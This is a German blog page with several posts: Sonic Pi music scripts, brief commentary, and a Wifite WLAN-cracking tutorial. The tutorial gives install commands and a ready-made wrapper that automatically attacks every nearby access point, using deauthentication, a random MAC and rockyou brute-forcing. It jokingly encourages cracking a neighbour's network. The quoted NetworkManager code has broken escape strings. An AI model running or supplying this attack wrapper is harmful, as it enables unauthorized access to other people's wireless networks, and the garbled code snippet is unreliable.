Mittwoch, September 23, 2026

Shaman Bell: Aufstieg der Büffel zur Melodie der Schlangen

# Welcome to Sonic Pi
# Shaman Bell — the rise of the buffalos to the snakes tune
# Aufstieg der Büffel zur Melodie der Schlangen
# von HARASH MAH-HANI (2026)
use_debug false
set :bpm, 70
use_bpm get(:bpm)
#use_random_seed 314159
# Ritual call
live_loop :shaman_bell do
  sample :perc_bell, amp: 2, rate: 1
  cue :cue # Sendet das Zeichen für den Einsatz an sync :cue
  sleep get(:bpm) * 3 # einmaliger Ruf, viel Raum
end
# The drum (The earth pulse)
# Ritual‑Style Doppel‑Schlag (klassisches Schamanen‑Pattern)
live_loop :shaman_drum do
  with_fx :reverb, room: 0.7, mix: 0.5 do
    2.times do
      sample :bd_tek, amp: rrand(1.0, 1.4), cutoff: get(:bpm) # orig: 70
      sleep 0.12 + rrand(-0.01, 0.01)
    end
  end
  sleep 0.55 + rrand(-0.02, 0.02)
end
# Bell
with_fx :reverb, room: 0.9, mix: 0.6 do
  with_fx :echo, phase: 0.375, mix: 0.25 do
    # The melody
    live_loop :bell do
      use_bpm get(:bpm)
      amp_wave = (range 0.1, 0.025, step: 0.01).mirror.tick
      with_fx :slicer, phase: 0.5, mix: 0.3 do
        sample :perc_bell, rate: rrand(0.7875, 0.8125), amp: amp_wave
        sleep 0.55 + rrand(-0.02, 0.02)
      end
    end
    # The spirit
    live_loop :shaker do
      amp_wave = (range 0.2, 0.4, step: 0.05).mirror.tick
      with_fx :lpf do
        sample :perc_snap, rate: 1.2, amp: amp_wave
        sleep 0.25
      end
    end
    # The earth pulse …
    live_loop :shaker2 do
      sync :cue
      sleep 0.5
      amp = 1.0
      (get(:bpm) * 3).times do
        # … fade-out
        amp = amp - rrand(0.025, 0.05)
        sample :perc_snap2, amp: (amp > 0) ? amp : 0
        sleep 0.55 + rrand(-0.02, 0.02) / 3
      end
    end
  end
end
# BPM-Fade
live_loop :bpm_fade do
  sync :shaker
  start = get(:bpm) || 70
  stop  = rrand(60, 75)
  steps = [16,32,64].choose # orig: 64
  duration = [128].choose # orig: 128
  steps.times do |i|
    t = i.to_f / (steps - 1)
    curve = t ** 2 # quadratische Kurve
    bpm = start + (stop - start) * curve
    set :bpm, bpm
    sleep duration.to_f / steps
  end
  sleep rrand(0, 256)
end

Montag, September 14, 2026

KI; Geschichte wiederholt sich

KI; Der Ausspruch „Die Geschichte wiederholt sich“ geht in seiner bekanntesten Formulierung auf Karl Marx zurück, der in seinem Werk Der achtzehnte Brumaire des Louis Bonaparte schrieb, dass weltgeschichtliche Ereignisse sich oft zweimal ereignen – das erste Mal als Tragödie, das zweite Mal als Farce …

Sonntag, Juli 12, 2026

Shaman Bell - a wake up call to … (the buffalos and the snakes)

# Welcome to Sonic Pi
# Shaman Bell - a wake up call to … (the buffalos and the snakes)
use_debug false
set :bpm, 60 # use_bpm 60
with_fx :reverb, room: 0.6, mix: 0.4 do
  live_loop :shaman_drum do
    use_bpm get(:bpm)
    sample :bd_tek, amp: rrand(0.9, 1.3), cutoff: rrand(60, 80)
    sleep 0.45 + rrand(-0.03, 0.03) # leichte Schwankung
  end
end
# Sphere
with_fx :slicer, phase: 16, mix: 0.15 do
  with_fx :wobble, phase: 8, mix: 0.3 do
    live_loop :sphere do
      use_synth :dark_ambience
      # weiche Lautstärkewelle
      amp_wave = (range 0.1, 0.3, step: 0.01).mirror.tick
      play :e2, sustain: 8, release: 4, amp: amp_wave, cutoff: rrand(60, 90)
      sleep [8].choose # orig: 8
    end
  end
end
# Bell
with_fx :reverb, room: 0.9, mix: 0.6 do
  with_fx :echo, phase: 0.375, mix: 0.25 do
    live_loop :bell do
      use_bpm 110
      amp_wave = (range 0.2, 0.4, step: 0.05).mirror.tick
      with_fx :slicer, phase: 0.5, mix: 0.3 do
        sample :perc_bell, rate: rrand(0.7875, 0.8125), amp: amp_wave
        sleep 0.5 + rrand(-0.05, 0.05)
      end
    end
    live_loop :shaker do
      use_bpm 110
      amp_wave = (range 0.1, 0.3, step: 0.05).mirror.tick
      with_fx :lpf do
        sample :perc_snap, rate: 1.2, amp: amp_wave
        sleep 0.25
      end
    end
  end
end
# BPM-Fade
live_loop :bpm_fade, sync: :shaman_drum do
  start = get(:bpm)
  ziel  = rrand(30, 90)
  steps = [16,32,64].choose # orig: 64
  dauer = [128].choose # orig: 128
  steps.times do |i|
    t = i.to_f / (steps - 1)
    curve = t ** 2 # quadratische Kurve
    bpm = start + (ziel - start) * curve
    set :bpm, bpm
    sleep dauer.to_f / steps
  end
  sleep rrand(0, 256)
end

Dienstag, Juni 23, 2026

Eilmeldung: Hollywood fight

Sie reden vom Hollywood fight, was das Ranking durch Likes, Follower usw. angeht, es wird also ein neues Ranking System geben.

Mittwoch, Mai 20, 2026

Wifite: Eine sehr einfache und automatisierte Lösung für WLAN‑Audits

Wifite ist ein Tool zur Automatisierung von WLAN‑Audits. Es ist darauf ausgelegt, alle bekannten Methoden zu nutzen, um das Passwort eines WLAN‑Access‑Points (Routers) zu erlangen.
Dabei kombiniert es verschiedene Angriffstechniken aus der Aircrack‑NG Suite und weiteren Tools.

Unterstützte Einstiegspunkte sind: WPS, WPA, WEP. Also alles Gängige.

Zum einen kann man damit leicht sein eigenes WLAN testen, zum anderen hat im Forum - vor Jahren - mal jemand geschrieben, er dürfe das WLAN seines Nachbarn nutzen, wenn er die Zugriffsdaten herausbekommt … in dem Sinne - Have Fun.

Installation von Wifite und rockyou.txt

Wifite und Wörterbücher für Brute‑Force können in Kali über die Paketverwaltung installiert werden:

apt-get –install-suggests install wordlists wifite
gunzip –keep /usr/share/wordlists/rockyou.txt.gz

Angriff starten

Für den Start habe ich mir einen Wrapper geschrieben, der Wifite aufruft und automatisch damit beginnt, WLANs zu finden und das Passwort zu erraten oder zu knacken.

cat <<! >~/bin/wifite-wrapper
#!/usr/bin/env sh
# Wifite wrapper (WLAN-hacking)
# Usage: wifite-wrapper [ -i interface ] # wireless interface for capturing (default: auto)
# -e <essid> target a specific access point by ssid (name)
# -b <bssid> target a specific access point by bssid (mac)
sudo wifite –daemon –kill –random-mac –dict /usr/share/wordlists/rockyou.txt –power 30 -p 900 ”$@”
!
chmod +x ~/bin/wifite-wrapper
~/bin/wifite-wrapper

Erklärung der verwendeten Parameter:

  • –daemon: Setzt das Interface nach beenden von Wifite vom monitor mode zurück in den managed mode
  • –kill: Beendet Prozesse, die Airmon/Airodump stören
  • –random-mac: Zufällige MAC‑Adresse
  • –dict <file>: Wörterbuch für Brute-Force
  • –power <db>: Nur Ziele mit Signalstärke größer als db angreifen
  • -p <s>: „Pillage“ – greift nach s Sekunden alle Ziele an

Optional:

  • -i <interface>: WLAN‑Interface (Standard: auto)
  • –nodeauths: Passiver Modus, keine Deauth‑Pakete

Hinweis: Bei –nodeauths sollte -p auf einen hohen Wert gesetzt werden (z. B. mehrere Stunden).

Signalstärke‑Anzeige (NetworkManager)

Der folgende Code zeigt, wie NetworkManager die grafischen WLAN‑Balken generiert:

cd /tmp/
apt-get source network-manager
cat network-manager-1.56.1/src/libnmc-base/nm-client-utils.c
[…]
/**
 * nmc_wifi_strength_bars:
 * @strength: the access point strength, from 0 to 100
 *
 * Converts @strength into a 4-character-wide graphical representation of
 * strength suitable for printing to stdout. If the current locale and terminal
 * support it, this will use unicode graphics characters to represent
 * ”bars”. Otherwise, it will use 0 to 4 asterisks.
 *
 * Returns: the graphical representation of the access point strength
 */
const char *
nmc_wifi_strength_bars(guint8 strength)
{
    […]
    if (strength > 80)
        return /* ▂▄▆█ */ ”342226202342226204342226206342226210”;
    else if (strength > 55)
        return /* ▂▄▆_ */ ”342226202342226204342226206_”;
    else if (strength > 30)
        return /* ▂▄__ */ ”342226202342226204__”;
    else if (strength > 5)
        return /* ▂___ */ ”342226202___”;
    else
        return /* ____ */ ”____”;
}
[…]

Weiterführende Links